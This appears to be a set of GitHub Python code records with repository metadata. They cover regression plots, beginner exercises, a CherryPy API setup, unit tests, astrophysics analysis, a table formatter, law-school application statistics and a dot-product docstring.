= \"cyan\") #administration\n plt.scatter(x_train[:,5], y_train, color = \"yellow\") # marketing\n plt.xlabel(\"Independent Variables Values\")\n plt.ylabel(\"Profit\")\n plt.show()\n\n\n plt.scatter(x_test[:,3], y_test, color = \"green\") #rd\n plt.scatter(x_test[:,4], y_test, color = \"cyan\") #administration\n plt.scatter(x_test[:,5], y_test, color = \"yellow\") # marketing\n plt.xlabel(\"Independent Variables Values\")\n plt.ylabel(\"Profit\")\n plt.show()\n\n\n index = np.arange(17)\n plt.scatter(index, y_test, color = \"red\") # real values \n plt.scatter(index, y_pred, color = \"cyan\") # after trained values\n plt.xlabel(\"Index\")\n plt.ylabel(\"Company Profit\")\n plt.show()\n\n print(regressor.coef_)","repo_name":"koyuboy/Python_Projects","sub_path":"3-Plagiarism Checker/tests/test_set_1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"40909160936","text":"### Exercise 25 - Curso em Video\n## Develop a program to read a name of a city and say if starts or not with NEW\n\ncity = input('Type a name of a city: ')\ncitysplit = city.upper().strip().split()\ncitynew = citysplit[0] == 'NEW'\n\nprint('City starts with NEW: {0}'.format(citynew))\n\n\n","repo_name":"jess197/learningPython","sub_path":"exercise25.py","file_name":"exercise25.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"10951975998","text":"import json, glob, os\n#------------------------------------------------------------------------------\ntarget = \"wavetables.js\" # where to write to\nvar_name = \"tables\" # js variable name \nvar_type = \"var\" # js variable type\npath_to_tables = \"./tables/\" # path to Pd-written arrays dir\ntables_extension = \"*.txt\" # extension of Pd-written arrays\n#------------------------------------------------------------------------------\ndata={} # our temporary json object\n#------------------------------------------------------------------------------\ndef populate(file, data):\n\t\"\"\"\n\t@brief { Populate a json object with Pure Data written arrays }\n\n\t@param file The Pure Data written array\n\t@param data The data object to write to\n\n\t@return { no return value }\n\t\"\"\"\n\tbase=os.path.basename(file) # remove path\n\tname=os.path.splitext(base)[0] # remove extension\n\twith open(file,\"r\") as f:\n\t\tvals=[] # store as float array\n\t\tfor line in f:\n\t\t\t# get rid of newline character\n\t\t\t# convert string to float\n\t\t\tvals.append(float(line[:-1]))\n\t\t# populate the data object\n\t\t# with the float array of name == to file basename\n\t\tdata.update({name:vals})\n#------------------------------------------------------------------------------\n# get all files in given path\nfor file in glob.glob(path_to_tables+tables_extension):\n\tprint(file) # notify which file we are working on\n\tpopulate(file, data) # fill our json object\n#------------------------------------------------------------------------------\nwith open(target,\"w\") as f:\n\t# declare a javascript-type variable\n\tf.write(var_type+\" \"+var_name+\" = \")\n\t# print the json object to initialize it\n\tf.write(json.dumps(data,indent=4))","repo_name":"fdch/fdch.github.io","sub_path":"games/pdarray2js.py","file_name":"pdarray2js.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"32217332463","text":"from leitos_covid.settings.db import Mongo\nimport cherrypy\n\nfrom leitos_covid.states import States\nfrom leitos_covid.cities import Cities\nfrom leitos_covid.occupation import Occupation\n\n\nif __name__ == '__main__':\n m = Mongo()\n conf = {\n '/': {\n 'request.dispatch': cherrypy.dispatch.MethodDispatcher(),\n 'tools.sessions.on': True,\n 'tools.response_headers.on': True,\n 'tools.response_headers.headers': [('Content-Type', 'text/plain')],\n 'tools.auth_digest.accept_charset': 'UTF-8',\n 'tools.encode.encoding': 'utf-8'\n }\n }\n cherrypy.tree.mount(States(m), '/api/states/', conf)\n cherrypy.tree.mount(Cities(m), '/api/cities/', conf)\n cherrypy.quickstart(Occupation(), '/api/ocupation/', conf)\n","repo_name":"ewerton94/leitos-covid","sub_path":"backend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2766437681","text":"# coding=utf-8\nimport unittest\nimport yaml\n# Local imports\nfrom chaplin import *\n\n\nclass TestChaplin(unittest.TestCase):\n def setUp(self):\n with open('test_schema.yaml', 'r') as f:\n source = yaml.load(f.read())\n questions = Questions(source['questions'])\n self.results = Results(source['documents'], source['rejections'])\n\n self.results.link_answers(questions.get_all_aid_to_answer())\n questions.link_parent_answers()\n self.paths = questions.generate_paths()\n\n def testGeneratedPaths(self):\n self.assertEqual(\n [str(path) for path in self.paths.get_all()],\n ['TA 0', 'TA 1 -> TA 3', 'TA 1 -> TA 4 -> TA 5 -> TA 7',\n 'TA 1 -> TA 4 -> TA 5 -> TA 8', 'TA 1 -> TA 4 -> TA 6 -> TA 7',\n 'TA 1 -> TA 4 -> TA 6 -> TA 8', 'TA 2']\n )\n self.assertEqual(\n [repr(path) for path in self.paths.get_all()],\n ['0', '1 -> 3', '1 -> 4 -> 5 -> 7', '1 -> 4 -> 5 -> 8',\n '1 -> 4 -> 6 -> 7', '1 -> 4 -> 6 -> 8', '2']\n )\n\n def testPathFiltering(self):\n self.paths.exclude_rejections()\n self.assertEqual(\n [str(path) for path in self.paths.get_all()],\n ['TA 0', 'TA 1 -> TA 3', 'TA 1 -> TA 4 -> TA 5 -> TA 7',\n 'TA 1 -> TA 4 -> TA 6 -> TA 7']\n )\n self.assertEqual(\n [repr(path) for path in self.paths.get_all()],\n ['0', '1 -> 3', '1 -> 4 -> 5 -> 7', '1 -> 4 -> 6 -> 7']\n )\n\n def testCasesWithTrimmedRejections(self):\n cases = self.paths.generate_cases(mode=\"trim\")\n sorted_cases = sorted(\n cases.get_all(), key=lambda case: case.get_multipath_footprint())\n self.assertEqual(\n [str(case) for case in sorted_cases],\n ['((0,), (1, 4, 5, 7)): Test document 0, Test document 2, '\n 'Test document 3',\n '((1, 3),): Test document 0, Test document 1',\n '((1, 4, 6, 7),): Test document 0, Test document 2, '\n 'Test document 4']\n )\n self.assertEqual(\n [repr(case) for case in sorted_cases],\n ['((0,), (1, 4, 5, 7)): 0, 2, 3', '((1, 3),): 0, 1',\n '((1, 4, 6, 7),): 0, 2, 4']\n )\n\n def testCasesWithRejectionsIntact(self):\n cases = self.paths.generate_cases(mode=\"collapse\")\n sorted_cases = sorted(\n cases.get_all(), key=lambda case: case.get_multipath_footprint())\n self.assertEqual(\n [str(case) for case in sorted_cases],\n ['((0,), (1, 4, 5, 7)): Test document 0, Test document 2, '\n 'Test document 3',\n '((1, 3),): Test document 0, Test document 1',\n '((1, 4, 6, 7),): Test document 0, Test document 2, '\n 'Test document 4',\n '((2,),): Test rejection 0',\n '((8,),): Test rejection 1']\n )\n self.assertEqual(\n [repr(case) for case in sorted_cases],\n ['((0,), (1, 4, 5, 7)): 0, 2, 3', '((1, 3),): 0, 1',\n '((1, 4, 6, 7),): 0, 2, 4', '((2,),): 0r', '((8,),): 1r']\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"vleseg/chaplin","sub_path":"chaplin_test.py","file_name":"chaplin_test.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19223058813","text":"import os, sys, pickle\nimport numpy as np\nimport pynbody\nimport matplotlib.pyplot as plt\nimport pynbody.plot.sph as sph\ns=pynbody.load('/mnt/data0/jillian/h148/h148.cosmo50PLK.3072g3HbwK1BH.000139/h148.cosmo50PLK.3072g3HbwK1BH.000139')\ns.physical_units()\ndef findBH(s):\n iord=s.stars['iord']\n BHfilter=np.where(iord==75288553)\n BH=s.stars[BHfilter]\n return BH\ndef findBHpos(s):\n BH=findBH(s)\n BHpos=BH['pos']\n return BHpos\nBHpos=findBHpos(s)\nprint(BHpos)\nradius='340 pc'\nsphere=pynbody.filt.Sphere(radius,BHpos[0])\ngas=s.gas[sphere]\ntemp=gas['temp']\nsu=sum(temp)\naverage=su/len(temp)\nstar=s.star[sphere]\niords=star['iord']\nBHfilters=np.where(iords==101863565)\nBHs=star[BHfilters]\n\n\n","repo_name":"hktony1/research1","sub_path":"sr1/accratevstempsinglesnap.py","file_name":"accratevstempsinglesnap.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9118719418","text":"#ako je snaga mikrovalne 1.3kw, cijena struje za 1kw je 0.95kn\n\n#koliko kuna, mjesecno kosta uporaba mikrovalne ako se koristi 2 sata dnevno\n\nt = 2 #h\nP = int(input(\"Unesi snagu el. uredjaja: \"))\ncijena = int(input(\"Unesi cijenu el. energije: \"))\n\nmjesecna_uporaba = t * 30\nmjesecna_potrosnja = mjesecna_uporaba * P\nmjesecni_trosak = mjesecna_potrosnja * cijena \n\nprint(\"mjesecna potrosnja je: \", mjesecna_potrosnja)\nprint(\"mjesecni trosak je: \", mjesecni_trosak)\nprint(\"mjesecni trosak s pdv-om je: \",mjesecni_trosak * 1.25)","repo_name":"nenadmark/python1","sub_path":"varijable/elStruja_2.py","file_name":"elStruja_2.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72765601760","text":"\"\"\" Formats data as a table of monospace, plain-text rows / columns.\n\"\"\"\n\nfrom collections import Mapping\nfrom itertools import repeat\n\nfrom lessly.collect import merge\n\n\ndef mkFieldMap(fields, args=[], kwargs={}, default=None):\n base = dict(zip(fields, repeat(default)))\n if isinstance(args, Mapping):\n args = [args]\n if args:\n if len(args) == 1:\n first = args[0]\n if isinstance(first, Mapping):\n return merge(base, kwargs, first)\n elif isinstance(first, basestring):\n args = first.strip().split()\n else:\n args = first\n base.update( zip(fields, args)[:len(args)] )\n return merge(base, kwargs)\n\n\nclass FieldBearer(object):\n fields = tuple()\n \n def mkFieldMap(self, args=[], kwargs={}, default=None):\n return mkFieldMap(self.fields, args, kwargs, default)\n \n def __repr__(self):\n return '%s(fields=%r)' % (self.__class__.__name__, self.fields)\n\n\n\nclass MonospaceTable(FieldBearer, list):\n \"\"\" Formats data as a monospace-aligned table for plain-text output.\n \"\"\"\n _done_header = False\n \n \n def __init__(self, fields, head_fmt=None, row_fmt=None):\n \"\"\" `fields` : str | iterable\n Ordered list of field-names for columns. If str, trimmed and split on whitespace.\n \n `head_fmt` : sequence | mapping | TableHeadFormatter [optional]\n Ordered list or (fieldname,fmt) mapping of format-strings for header-columns.\n \n `row_fmt` : sequence | mapping | TableRowFormatter [optional]\n Ordered list or (fieldname,fmt) mapping of format-strings for each row's columns.\n \"\"\"\n if isinstance(fields, basestring):\n fields = fields.strip().split()\n \n self.fields = fields\n \n def head(self):\n pass\n \n def append(self, *args, **kwargs):\n list.append(self, self.mkFieldMap(args, kwargs))\n \n def __repr__(self):\n return '%s(fields=%r, rows=%s)' % (self.__class__.__name__, self.fields, len(self))\n \n def __str__(self):\n return ''\n \n \n \n\n\nclass TableRowFormatter(FieldBearer):\n \n def __init__(self, fields, fmts, spacing=2):\n self.fields = fields\n self.spacing = spacing\n \n if isinstance(fmts, basestring):\n fmts = fmts.strip().split()\n self.fmt = (' '*spacing).join(fmts)\n \n def mkMaxLens(self, maxlens=0):\n if isinstance(maxlens, Mapping):\n return maxlens\n if isinstance(maxlens, int):\n maxlens = self.mkFieldMap(default=maxlens)\n elif isinstance(maxlens, (list, set)):\n maxlens = self.mkFieldMap(maxlens)\n return dict( (k+'len', v) for k, v in maxlens.iteritems() )\n \n def format(self, args=[], kwargs={}, maxlens=0, default=None):\n maxlens = self.mkMaxLens(maxlens)\n values = self.mkFieldMap(args, kwargs, default)\n return self.fmt.format(**merge(maxlens, values))\n \n\n\nclass TableHeadFormatter(TableRowFormatter):\n \"\"\" Represents a monospace table header. \"\"\"\n \n def __init__(self, fields, spacing=2):\n fmts = [ '{%(f)s: ^{%(f)slen}}' % {'f':f} for f in fields ]\n super(TableHeadFormatter, self).__init__(fields, fmts, spacing)\n \n def format(self, args=[], kwargs={}, maxlens=0, default=None):\n maxlens = self.mkMaxLens(maxlens)\n row = super(TableHeadFormatter, self).format(args, kwargs, maxlens, default)\n return row + '\\n' + (' '*self.spacing)\n\n","repo_name":"dsc/py-lessly","sub_path":"lessly/cli/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":3580,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"11183867385","text":"# coding: utf-8\nget_ipython().magic('pylab')\nget_ipython().magic('load_ext autoreload')\nget_ipython().magic('autoreload 2')\nimport main\ndata = main.load_data()\nvects = main.load_google_news_vectors()\n\nw2v_v_scores, w2v_clusterings = main.get_vmeasure_curve_and_clusterings(data, main.get_w2v_tranform(vects, tfidf=False))\ntfidf_v_scores, w2v_clusterings = main.get_vmeasure_curve_and_clusterings(data, main.tfidf_transform)\n\nmain.v_measure_figure()\nplot(w2v_v_scores)\nplot(tfidf_v_scores)","repo_name":"ieaalto/NLPSeminar","sub_path":"session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26036963315","text":"import sys\nimport os\nimport enquiries\nfrom rich import box\nfrom rich.console import Console\nfrom rich.table import Column, Table\nimport csv\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '..'))\nimport processing\nfrom provider.equity import *\nfrom provider.fund import *\nfrom confs import Config, _equity\n\n\nCUR_EQ_PROVIDER = EQUITY_PROVIDER[0]\n\n\ndef clear_line():\n sys.stdout.write('\\x1b[1A')\n sys.stdout.write('\\x1b[2K')\n\n\ndef read_conf(path):\n if os.path.exists(path):\n with open(path, 'r') as f:\n return Config(obj=f.read())\n else:\n return None\n\n\ndef create_conf(obj, _id):\n c = Config(_id=_id)\n c.data.update(obj)\n return c\n\n\ndef get_fund_provider(provider=None):\n global FUND_PROVIDER\n if provider:\n f = list(filter(lambda p: p['id'] == provider, FUND_PROVIDER))\n return f[0] if len(f) == 1 else None\n else:\n options = [i['name'] for i in FUND_PROVIDER]\n options.append('手动添加')\n choice = enquiries.choose('上下键选择基金信息源:', options)\n return False if choice == '手动添加' else FUND_PROVIDER[options.index(choice)]\n\n\ndef get_fund(_id, provider):\n try:\n ret = provider['object'].lists(_id)\n if ret and len(ret[\"equities\"]) > 0:\n return ret\n print(f\"在「{provider['name']}」中找不到基金信息.\")\n except Exception as e:\n print(f'查询时出现故障: {e}')\n return None\n\n\ndef search_equity(default_query=None):\n global EQUITY_PROVIDER, CUR_EQ_PROVIDER\n data = None\n while data is None:\n default_info = f', 默认: {default_query}' if default_query else ''\n query = input(f'搜索 (p 跳过, q 切换源{default_info}): ') or default_query\n clear_line()\n if query == 'p':\n print('已跳过.')\n return None\n elif query == 'q':\n options = ['{} ({})'.format(p['name'], p['id'])\n for p in EQUITY_PROVIDER]\n choice = enquiries.choose('上下键选择行情信息源:', options)\n CUR_EQ_PROVIDER = EQUITY_PROVIDER[options.index(choice)]\n continue\n else:\n try:\n search_res = CUR_EQ_PROVIDER['object'].search(query)\n except:\n print('网络错误.')\n continue\n if search_res is None or len(search_res) == 0:\n print('未搜索到结果.')\n continue\n options = list(map(lambda r: '{} | {} ({})'.format(\n r['type'], r['name'], r['code']), search_res[:10]))\n options.append('重新搜索')\n choice = enquiries.choose('上下键选择对应的项目:', options)\n if choice == '重新搜索':\n continue\n print('选中: {}'.format(choice))\n data = search_res[options.index(choice)]\n return {'source': CUR_EQ_PROVIDER['id'], 'source_id': data['source_id'], 'name': data['name'], 'code': data['code']}\n\n\ndef get_equity_list(conf):\n for item in conf.data['equities']:\n print('代码: {} 名称:{} 权重: {}'.format(\n item['code'], item['name'], item['weight']))\n ret = search_equity(item['code'].split('.')[0].split(':')[0] if item['code'] else item['name'])\n if ret is None:\n continue\n item.update(ret)\n conf.data['equities'] = list(\n filter(lambda e: 'source' in e.keys(), conf.data['equities']))\n\n\ndef custom_equities():\n equities = []\n print('添加持仓信息:')\n while True:\n ret = search_equity()\n if ret:\n ret['weight'] = input('权重(百分比, 不加%): ') or '0'\n try:\n float(ret['weight'])\n except:\n print('不是合法的数字, 请重试.\\n')\n continue\n equities.append(ret)\n print()\n else:\n break\n return equities\n\n\ndef remove_col_suffix(table, col, suffix):\n l = len(list(filter(lambda a: a[col].endswith(suffix), table)))\n if l == len(table):\n for row in table:\n row[col] = row[col][:-len(suffix)]\n\ndef red_green(num, fmt):\n if num > 0:\n return '[bright_red]' + fmt.format(num) + '[/bright_red]'\n elif num < 0:\n return '[bright_green]' + fmt.format(num) + '[/bright_green]'\n else:\n return fmt.format(num)\n\n\ndef fetch_data(conf):\n equities, summary = processing.fetch(conf.data['equities'])\n reference = processing.single_fetch(\n conf.data['reference']) if conf.data['reference'] else None\n return equities, summary, reference\n\n\ndef get_table(conf, equities, summary, reference):\n caption = '(报价截至 {}, 持仓截至 {})\\n'.format(summary['last_update'].strftime(\n '%Y-%m-%d %H:%M:%S'), conf.data['last_update'])\n table = Table(title=conf.data['fund_name'], \n caption=caption, caption_style='white', caption_justify='right',\n box=box.ROUNDED, show_footer=True)\n\n footer_name = '总计'\n footer_weight = '{:.2f}%'.format(summary['total_weight'])\n footer_current = ''\n footrt_change = ''\n footer_precent = red_green(summary['total_percent'], '{:+.2f}%')\n if summary['today_weight'] > 0 and summary['today_weight'] != summary['total_weight']:\n footer_name += '\\n今日交易'\n footer_weight += '\\n' + '{:.2f}%'.format(summary['today_weight'])\n footer_current += '\\n'\n footrt_change += '\\n'\n footer_precent += '\\n' + red_green(summary['today_percent'], '{:+.2f}%')\n if reference:\n footer_name += '\\n' + reference['name']\n footer_weight += '\\n'\n footer_current += '\\n' + '{:.2f}'.format(reference['last'])\n footrt_change += '\\n' + red_green(reference['change'], '{:+.2f}')\n footer_precent += '\\n' + red_green(reference['change_percent'], '{:+.2f}%')\n\n table.add_column(\"代码\", justify=\"right\", no_wrap=True)\n table.add_column(\"名称\", justify=\"left\", no_wrap=False, footer=footer_name)\n table.add_column(\"权重\", justify=\"right\", no_wrap=True, footer=footer_weight)\n table.add_column(\"当前\", justify=\"right\", no_wrap=True, footer=footer_current)\n table.add_column(\"涨跌\", justify=\"right\", no_wrap=True, footer=footrt_change)\n table.add_column(\"幅度\", justify=\"right\", no_wrap=True, footer=footer_precent)\n\n rows = []\n for i in equities:\n rows.append([\n i['code'],\n ('\\U0001f504' if i['is_open'] else '') + i['name'],\n '{:.2f}%'.format(i['weight']),\n '{:.2f}'.format(i['last']),\n red_green(i['change'], '{:+.2f}'),\n red_green(i['change_percent'], '{:+.2f}%'),\n ])\n if 'after_hour_percent' in i.keys():\n rows.append(['', '', '延时', '{:.2f}'.format(i['after_hour_price']),\n red_green(i['after_hour_change'], '{:+.2f}'), red_green(i['after_hour_percent'], '{:+.2f}%')])\n\n remove_col_suffix(rows, 3, '.00')\n remove_col_suffix(rows, 4, '.00')\n [table.add_row(*row) for row in rows]\n return table\n\n\ndef output_csv(path, equities, summary, reference):\n with open(path, 'w', newline='') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=[\n 'code', 'name', 'weight', 'last', 'change', 'change_percent'], extrasaction='ignore')\n writer.writeheader()\n writer.writerows(equities)\n writer.writerow({'code': '总计', 'name': '', 'weight': summary['total_weight'],\n 'last': '', 'change': '', 'change_percent': summary['total_percent']})\n if summary['today_weight'] > 0 and summary['today_weight'] != summary['total_weight']:\n writer.writerow({'code': '本交易日', 'name': '', 'weight': summary['today_weight'],\n 'last': '', 'change': '', 'change_percent': summary['today_percent']})\n if reference:\n writer.writerow({'code': reference['name'], 'name': '', 'weight': '', 'last': reference['last'],\n 'change': reference['change'], 'change_percent': reference['change_percent']})\n print('已保存至 ' + path + '.')\n\n\ndef history_csv(path, conf, limit):\n hs = processing.fetch_history(conf.data['equities'], limit=limit)\n r = {}\n for equity in hs:\n for i in range(len(equity['history']) - 1):\n cur, las = equity['history'][i + 1], equity['history'][i]\n if cur['date'] not in r.keys():\n r[cur['date']] = {}\n r[cur['date']][equity['name']] = (cur['close'] / las['close'] - 1)\n t = []\n for date, data in r.items():\n i = data.copy()\n i['date'] = date\n t.append(i)\n with open(path, 'w', newline='') as csvfile:\n fieldnames = ['date'] + [equity['name'] for equity in hs]\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames, extrasaction='ignore')\n writer.writeheader()\n writer.writerows(t)\n print('已保存至 ' + path + '.')\n","repo_name":"lxhkkll/qdii-value","sub_path":"qdii_value/cli/funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":9067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"38884381730","text":"import re\nimport csv\nimport json\nimport urllib\nfrom datetime import datetime, timedelta,date\nimport numpy as np\nimport pandas as pd\nfrom glob import glob\nfrom collections import defaultdict\nfrom utils import keep_ascii_file, filter_good_applicants, get_stats\nfrom scipy.stats.mstats import mode\nfrom df2tex import df2tex\n\nimport os\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\n\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))\nfrom config import JSON_DIR, ENTRY_DIR\nfrom extract.utils import remove_special_char,keep_ascii\nfrom StopWatch import StopWatch\n\ndef apply_only_on_weekends(str_sample):\n # This has to use c-series sample. d-series sample yields wrong results!\n # To classify d-series users, use c-series sample, and merge to d-series user-list\n # In d-series samples, users' application data is incomplete - some apps are omitted\n # Thus we don't know whether an user only submits on weekends, or if in multiple rounds\n df_raw = pd.read_csv('../../data/edit/df_all_samples_{}.csv'.format(str_sample))\n\n df = df_raw.groupby(['User Name','Sent_delta'])['Sent_weekday'].mean().reset_index()\n df.loc[df['Sent_weekday']<5.0,'Sent_weekday'] = 0.0 # Weekdays\n df.loc[df['Sent_weekday']>=5.0,'Sent_weekday'] = 1.0 # Weekends\n df = df.groupby(['User Name'])['Sent_weekday'].agg(['mean','count']).reset_index()\n \n x = [len(df), len(df[df['mean']==1.0]), len(df[(df['count']>1.0) & (df['mean']==1.0)])]\n df = pd.DataFrame(x, columns=['Number of Applicants'])\n rows = ['Total','Only Applying at Weekends','And for Multiple Times']\n cols = df.columns.tolist()\n df = df.assign(Variable=rows)\n df2tex(df, '../../model/tables/','weekends_{}.tex'.format(str_sample), \"%8.2f\", 0, cols, ['Variable'], cols)\n\n return\n\n\ndef LSAT_release():\n df_release = pd.read_csv('../../data/various/LSAT dates scores/LSAT_release_dates.csv')\n for item in ['cycle_starts','official','actual']:\n df_release[item]=pd.to_datetime(df_release[item], errors = 'coerce') \n df_release['{} delta'.format(item)] = np.nan\n for index, row in df_release.iterrows():\n for item in ['official','actual']:\n df_release.loc[index,'{} delta'.format(item)] = (row['{}'.format(item)]-row['cycle_starts']) / np.timedelta64(1,'D')\n df_release = df_release[['Year','official delta','actual delta']]\n \n df_dic = {}\n for num in [0,1,2]:\n df_dic[num] = df_release.groupby(['Year'])[['official delta','actual delta']].nth(num).reset_index()\\\n .rename(columns={'official delta':'official delta {}'.format(num+1),'actual delta':'actual delta {}'.format(num+1)})\n df = pd.concat([df_dic[0],df_dic[1].drop(['Year'],axis=1)],axis=1)\n df_release = pd.concat([df,df_dic[2].drop(['Year'],axis=1)],axis=1)\n df_release.to_csv('../../data/edit/LSAT_release_delta.csv')\n return \n\ndef LSAT_release_df_all():\n df_release = pd.read_csv('../../data/edit/LSAT_release_delta.csv')\n \n df_c1 = pd.read_csv('../../data/edit/df_all_samples_c1.csv')\n df_c1 = df_c1[['User Name','Sent_delta','Year']]\n df_all_c1 = df_c1.merge(df_release,on=['Year'],how='left').drop_duplicates().reset_index()\n df_all_lsat_c1 = df_all_c1.groupby(['User Name','Sent_delta'])['actual delta 1','actual delta 2','actual delta 3',\n 'official delta 1','official delta 2','official delta 3'].mean().reset_index() \n df_all_lsat_c1.to_csv('../../data/edit/df_all_lsat_c1.csv')\n return df_all_lsat_c1\n\ndef LSAT_release_did_stats(df_in,intvl,id_list_str):\n # df_in: each row corresponds to a user*round. contains all two LSAT release dates\n # id_list_str: can be ['User Name'], or ['User Name','gp']\n dic_did_lsat={}\n dic_did_lsat_only={}\n for typ in ['actual','official']:\n for item in [1,2]:\n df_in['Diff {} LSAT {}'.format(typ,item)] = df_in['Sent_delta'] - df_in['{} delta {}'.format(typ,item)]\n \n choice_list = ['Diff actual LSAT 1','Diff actual LSAT 2','Diff official LSAT 1','Diff official LSAT 2']\n df_user_min = df_in.groupby(id_list_str)[choice_list].agg('min').reset_index()\n df_user_max = df_in.groupby(id_list_str)[choice_list].agg('max').reset_index()\n for item in choice_list:\n df_user_min = df_user_min.rename(columns={item:item + ' min'})\n df_user_max = df_user_max.rename(columns={item:item + ' max'}) \n df_user = df_user_min.merge(df_user_max,on=id_list_str,how='left').reset_index()\n \n df_count = {}\n for item in [1,2]:\n for typ in ['actual','official']:\n # Applied Immediately After LSAT\n df_count['After {}{}'.format(typ,item)] = df_in[(df_in['Diff {} LSAT {}'.format(typ,item)]>=0.0) &\n (df_in['Diff {} LSAT {}'.format(typ,item)]<=intvl)]\n dic_did_lsat['After {} LSAT {} release'.format(typ,item)]=df_count['After {}{}'.format(typ,item)]['User Name'].nunique()\n \n # Applied Immediately Before LSAT\n df_count['Before {}{}'.format(typ,item)] = df_in[(df_in['Diff {} LSAT {}'.format(typ,item)]>=-intvl) &\n (df_in['Diff {} LSAT {}'.format(typ,item)]<=0.0)]\n dic_did_lsat['Before {} LSAT {} release'.format(typ,item)]=df_count['Before {}{}'.format(typ,item)]['User Name'].nunique()\n\n # Applied ONLY Immediately After LSAT\n df_count['Only After {}{}'.format(typ,item)] = df_user[(df_user['Diff {} LSAT {} min'.format(typ,item)]>=0.0) &\n (df_user['Diff {} LSAT {} max'.format(typ,item)]<=intvl)]\n dic_did_lsat_only['After {} LSAT {} release'.format(typ,item)]=df_count['Only After {}{}'.format(typ,item)]['User Name'].nunique()\n \n # Applied ONLY Immediately Before LSAT\n df_count['Only Before {}{}'.format(typ,item)] = df_user[(df_user['Diff {} LSAT {} min'.format(typ,item)]>=-intvl) &\n (df_user['Diff {} LSAT {} max'.format(typ,item)]<=0.0)]\n dic_did_lsat_only['Before {} LSAT {} release'.format(typ,item)]=df_count['Only Before {}{}'.format(typ,item)]['User Name'].nunique()\n \n for key, value in df_count.iteritems():\n df_count[key] = pd.DataFrame(value['User Name'].unique(),columns=['User Name'])\n \n for typ in ['actual','official']:\n dic_did_lsat['After Both {} LSAT release'.format(typ)] = len( df_count['After {}1'.format(typ)].merge(df_count['After {}2'.format(typ)],\n on='User Name',how='inner') )\n dic_did_lsat_only['After Both {} LSAT release'.format(typ)] = len( df_count['Only After {}1'.format(typ)].merge(df_count['Only After {}2'.format(typ)],\n on='User Name',how='inner') )\n dic_did_lsat['Total Users'] = df_user['User Name'].nunique()\n dic_did_lsat_only['Total Users'] = df_user['User Name'].nunique()\n\n return dic_did_lsat, dic_did_lsat_only\n\ndef LSAT_release_export_stats(dic_lsat,intvl,filename):\n typ = 'actual'\n x = np.array([[dic_lsat['Before {} LSAT 1 release'.format(typ)],dic_lsat['Before {} LSAT 2 release'.format(typ)]],\n [dic_lsat['After {} LSAT 1 release'.format(typ)],dic_lsat['After {} LSAT 2 release'.format(typ)]],\n [dic_lsat['Total Users'],dic_lsat['After Both {} LSAT release'.format(typ)]]])\n df = pd.DataFrame(x,columns=['LSAT(October)','LSAT(December)'])\n \n rows=['{} Days Before'.format(intvl),'{} Days After'.format(intvl),'Total \\& Double-Count']\n cols = df.columns.tolist()\n df = df.assign(Variable=rows)\n df2tex(df, '../../model/tables/','{}.tex'.format(filename), \"%8.2f\", 0, cols, ['Variable'], cols)\n return\n","repo_name":"universe1987/lawschool","sub_path":"src/transform/app_patterns_weekends_lsat.py","file_name":"app_patterns_weekends_lsat.py","file_ext":"py","file_size_in_byte":7715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"17899242625","text":"def dot_product(self, left_column_names,right_column_names,dot_product_column_name,default_left_values=None,default_right_values=None):\n \"\"\"\n Calculate dot product for each row in current frame.\n\n Parameters\n ----------\n\n :param left_column_names: (List[str]) Names of columns used to create the left vector (A) for each row.\n Names should refer to a single column of type vector, or two or more columns of numeric scalars.\n :param right_column_names: (List[str]) Names of columns used to create right vector (B) for each row.\n Names should refer to a single column of type vector, or two or more columns of numeric scalars.\n :param dot_product_column_name: (str) Name of column used to store the dot product.\n :param default_left_values: (Optional[List[float]) Default values used to substitute null values in left vector.Default is None.\n :param default_right_values: (Optional[List[float]) Default values used to substitute null values in right vector.Default is None.\n\n :return: (Frame) returns a frame with give \"dot_product\" column name\n\n Calculate the dot product for each row in a frame using values from two equal-length sequences of columns.\n\n Dot product is computed by the following formula:\n\n The dot product of two vectors :math:`A=[a_1, a_2, ..., a_n]` and :math:`B =[b_1, b_2, ..., b_n]` is :math:`a_1*b_1 + a_2*b_2 + ...+ a_n*b_n`.\n The dot product for each row is stored in a new column in the existing frame.\n\n Notes\n -----\n\n * If default_left_values or default_right_values are not specified, any null values will be replaced by zeros.\n * This method applies only to columns containing numerical data.\n\n\n Examples\n --------\n\n >>> data = [[1, 0.2, -2, 5], [2, 0.4, -1, 6], [3, 0.6, 0, 7], [4, 0.8, 1, 8]]\n >>> schema = [('col_0', int), ('col_1', float),('col_2', int) ,('col_3', int)]\n\n >>> my_frame = tc.frame.create(data, schema)\n \n\n Calculate the dot product for a sequence of columns in Frame object *my_frame*:\n\n >>> my_frame.inspect()\n [#] col_0 col_1 col_2 col_3\n ===============================\n [0] 1 0.2 -2 5\n [1] 2 0.4 -1 6\n 